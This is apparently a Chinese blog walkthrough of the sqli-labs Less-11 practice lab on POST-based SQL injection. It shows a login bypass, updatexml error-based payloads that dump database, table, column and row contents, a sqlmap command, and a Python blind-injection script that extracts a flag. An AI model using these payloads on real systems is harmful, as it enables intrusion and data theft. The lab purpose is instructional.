至此, 前十关的GET注入暂时结束了( ̄▽ ̄)/后面的好像一直到22关都是POST注入, 先总结一下目前遇到的GET类型.
1.基于报错的一般GET类型(主要就是各种符号问题)
2.基于报错的双注入
3.写入类型的注入(Dump into outfile)
4.布尔型的盲注
5.基于时间的盲注
接下来就要开启新的篇章了( • ̀ω•́ )✧POST注入
关于POST注入主要用到的工具
1.Burp Suite(可以使用免费的社区版)
2.hackbar(一款浏览器插件)但是这里吐槽一下, 建议使用burpsuite, 因为更新以后的hackbar不好用了, POST修改有时候并不能成功, 无法修改, 存在BUG, 即使那你让他帮你修改了, 最终传递过去的结果却是没修改的╮(╯﹏╰)╭
来说正题ヾ(๑╹◡╹)ノ"这一关主要就是一个俗说的"万能密码"的问题, 并不牵扯到上面说的工具
'or 1=1#
这里只要在username框里输入万能密码绕过就行了, 前面的单引号还是起着闭合代码里的单引号的作用, #起着注释掉后面内容的作用, 有一个点不同就是, 之前的GET型注入, 用的都是--+或者%23, 但是在POST注入中用的比较多的还是#, 但是也不排除, 所以还是多试, 只不过在试的顺序上可以先用#再用--+或者%23这种, 这也算是一些小技巧和经验
这样一来这关就结束了, 并没有使用任何工具, 就是一个万能密码的问题, 这里万能密码之所以生效也是因为单引号闭合的问题, 跟前面GET注入的本质原因是类似的, 所以应该也挺好理解的ヽ( ̄▽ ̄)ノ
更新分割线2018.10.4
我好像漏了一些东西,就是这里不仅仅是万能密码绕过就行了, 这里还可以基于报错来获得关于数据库的信息, 就像前面的GET类型的注入一样.
别的老哥写的博客
要理解接下来的payload需要先了解updatexml()函数,concat()函数,group_concat()函数
updatexml()MySQL显错注入
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
然后咱们再看看语句:
http://www.XXXIII.com/a.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
concat(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
通过查询@@version,返回版本。然后concat将其字符串化。因为updatexml第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
错误大概会是:
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
group_concat()
也是返回一个字符串结果, 与concat类似, 但是在SQL语句中group_concat()常与group by联用
1、功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。
payload
'and updatexml(1,concat('*',(payload),'*'),1)#
获取当前数据库名
'and updatexml(1,concat('*',(select database()),'*'),1)#
获取当前数据库的表名
'and updatexml(1,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'*'),1)#
获取某个表的列名
'and updatexml(1,concat('*',(select group_concat(column_name) from information_schema.columns where table_name='emails'),'*'),1)#
获取数据内容
'and updatexml(1,concat('*',(select username from emails),'*'),1)#
其实与GET类型是类似的. 只不过GET的注入点都在URL的地址栏里, 这里的注入点是放在了一些表单里.
其中这里有个点, 就是这里的注入点可以放在uname这里也可以放在passwd后面, 但是那个老哥的博客也说了一个问题, 就是不使用注释符#的情况下而是用引号等的闭合方法的时候, 要注意and和or这两种优先级的问题, 在SQL语法中and的优先级是要高与or的(就是and会先运算) , 所以这时候再把注入点写在uname是不合理的, 就需要把注入语句放在passwd里面了. 详细解释来自第less-11的解释
那么总结一下:一般第一个登陆字段(一般是用户名)就用注释,第二个登陆字段(一般就密码)用闭合和注释都是可以的
后面的几关也可以使用这些payload来获取数据库的信息, 只需要修改一下前面的闭合符就行了, 就不再一一赘述
同时这里其实也是可以使用脚本来跑的
首先使用burpsuite截取到有uname和passwd的数据包(随便在登录框里输入东西就行了)
然后右键选择 copy to file 之后就选择存储在sqlmap的文件夹下就可以了, 随便命名成1.txt保存即可
python2 sqlmap.py -r 1.txt -p uname --dbs
-p 后面跟着猜测的注入点, 这里可以是uname也可以是passwd
大佬自己写的脚本
python脚本
懒得写查表名,列名的,直接查flag的脚本,原理相似
用python脚本的话,就得用布尔注入了
updatexml只是为了方便…
import requests
flag=""
url="http://192.168.1.120/sql/Less-11/"
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.{}?!')
xx="1' or 1=1 and mid((select flag from 54f1a9),%s,1)='%s'#"
for i in range(1,30):
for j in payloads:
data={'uname':xx %(i,j),'passwd':'','submit':'Submit'}
response = requests.post(url,data = data)
hhh=response.text
if hhh.find('Login') >0:
flag+=j
print(j)
print(flag)